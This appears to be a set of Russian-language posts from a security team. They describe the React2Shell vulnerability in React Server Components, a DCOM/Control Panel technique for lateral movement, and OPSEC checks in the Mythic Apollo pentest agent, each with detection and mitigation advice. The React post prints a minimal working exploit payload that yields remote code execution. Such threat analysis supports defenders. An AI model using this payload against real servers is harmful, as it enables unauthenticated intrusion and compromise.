Уязвимость React2Shell (CVE-2025-55182) была раскрыта в начале декабря и наделала немало шума — поскольку затрагивает серверные компоненты React (RSC), которые используются во многих веб-приложениях.

Уязвимость оценивается как максимально опасная (CVSS 10.0) и уже активно эксплуатируется в дикой природе злоумышленниками, в том числе APT-группами.

React2Shell позволяет атакующему незамысловатым http-запросом получить удаленное выполнение кода на уязвимых серверах без всякой аутентификации. Минимально жизнеспособный эксплойт:

{  
  0: {  
    status: "resolved_model",  
    reason: -1,                     
    _response: {  
      _prefix: "console.log('RCE')//",          
      _formData: { get: "$1:then:constructor" },   
    },  
    then: "$1:then",                
    value: '{"then":"$B"}',    
  },  
  1: "$@0",                         
} 

Эта уязвимость особенно критична из-за практически полного отсутствия артефактов. React не фиксирует происходящее, а у большинства из доступного будет лишь набор HTTP-логов, собираемых прокси.

Теоретически можно попытаться анализировать память процесса в поисках характерных сигнатур, но соотношение TP/FP будет крайне низким. В реальности в основном будем видеть нерелевантный трафик от сканеров и автоматических ботов, вместо того чтобы получать чёткие индикаторы эксплуатации уязвимости.

Сейчас атакующие активно перебирают весь спектр механизмов запуска процессов в Node.js:

- exec() 
- spawn() 
- execSync() 
- spawnSync() 

Отсутствие единых стандартов журналирования в современных фронтенд-фреймворках создаёт дополнительные трудности для расследований. В результате успешная эксплуатация может оставаться незамеченной до тех пор, пока не проявятся косвенные признаки: аномальное поведение Node.js-процессов или подозрительные сетевые соединения.

На практике после успешной эксплуатации мы фиксируем один из вариантов (см. скриншот в начале поста):

— однострочная последовательность команд,
— закодированный в Base64 reverse shell,
— есть вариант in memory shell, встречали и его.

В основном фиксируем вариации команд для установок различных майнеров и приложений удаленного управления (RMM).

Что делать?

С точки зрения защиты:
— Пропатчить все уязвимые React / Next.js приложения до безопасных версий (19.0.1, 19.1.2, 19.2.1 и выше; Next.js с обновлённым RSC).
— Включить правила по обнаружению и предотвращению эксплуатации модифицированных RSC HTTP-запросов на периметре (WAF/IDS).

С точки зрения мониторинга:
— Отслеживать аномальные процессы от node.
— Отслеживать сработки WAF/IDS-решений на попытки эксплуатации этой уязвимости.
— Ретроспективно проверить активность на хостах с node.

Бывало ли у вас такое: получили на пентесте админский доступ к Windows-хосту, а все привычные способы удалённого запуска команд уже чем-то блочатся или мониторятся? Для таких случаев вам пригодится исследование нашего эксперта Хайдара Кабибо, которое посвящено не описанной ранее технике удаленного выполнения команд.

В исследовании показано, что апплеты панели управления (CPL-файлы) являются просто DLL-библиотеками, которые можно удаленно запускать через один специфичный DCOM-объект. Атакующий может загрузить кастомную DLL, зарегистрировать её в нужном разделе через службу удаленного реестра, а потом инициировать её удалённое выполнение на целевом хосте с помощью триггера, выступающего в качестве DCOM-клиента.

Помимо этого, из статьи можно узнать:

— как перечислять DCOM-объекты,
— как работают элементы панели управления,
— как детектировать атаки с использованием DCOM-объектов и элементов панели управления,
— какие патчи для скрипта dcomexec из Impacket позволяют ему нормально работать на свежих версиях Windows.

Как и в прошлых исследованиях Хайдара (архитектура RPC, извлечение секретов из реестра), автор даёт полную методологию и много практических деталей. Читайте: "Очередной DCOM-объект для горизонтального перемещения".

Доводилось ли вам при проведении пентеста оказаться в ситуации, когда случайно завершили не тот процесс или пропустили критическую деталь перед эксплуатацией? Чтобы такое не происходило, в пентест фреймворке Mythic есть функция OPSEC pre-check.

В каких случаях это нужно? Например, при тестировании уязвимостей SMB-протокола часто требуется освободить порт 445. Для этого существует утилита smbtakeover.

Наши эксперты по Mythic-агентам встроили похожую функциональность в Mythic Apollo, добавив автоматические проверки безопасности:

— Проверка соединений. Если есть активное ESTABLISHED-подключение по 445-му порту (например, вы сами используете SMB для доступа к целевой системе) — операция отменяется, чтобы не нарушить вашу текущую работу.

— Проверка общих ресурсов. Если обнаружена сетевая папка (шара) — операция тоже отменяется. Это важно, поскольку прерывание SMB на контроллере домена или сервере с общими ресурсами может вызвать заметные сбои в инфраструктуре.

При необходимости эти проверки можно обойти через кнопку Submit Bypass — для ситуаций, когда вы чётко понимаете последствия 😈

На демо-ролике, который выше, можно увидеть, как утилита обнаружила активное соединение и остановила выполнение. После того как соединение было завершено, порт 445 был успешно освобожден для дальнейшего тестирования.

Как защитникам обнаружить освобождение SMB порта и релей?

Вот некоторые возможные индикаторы компрометации:

Мониторинг системных событий:
— остановки SMB-служб через реестр и Windows Event Log,
— события, связанные с изменениями в правилах брандмауэра и трафике через порт 445.

Мониторинг сетевого трафика:
— устаревшие SMB-протоколы,
— известные offensive-инструменты поверх SMB,
— поиск соответствующих UUID-паттернов в SMB-трафике (по удивительному совпадению, пока мы готовили этот пост, наши «синие» выпустили подробное руководство по ловле Mythic в сетевом трафике).

В качестве превентивных мер включайте SMB signing для предотвращения relay-атак и сегментируйте сети для минимизации доступа к SMB-портам между разными сегментами.

Кроме того, настройте в SIEM корреляцию на остановку SMB-службы + запуск непривычного процесса на том же порту и алерты на попытки аутентификации сразу после манипуляций с SMB-службами.

Помните: даже с OPSEC-проверками атакующих, эти техники оставляют следы в логах и трафике при правильно настроенном мониторинге.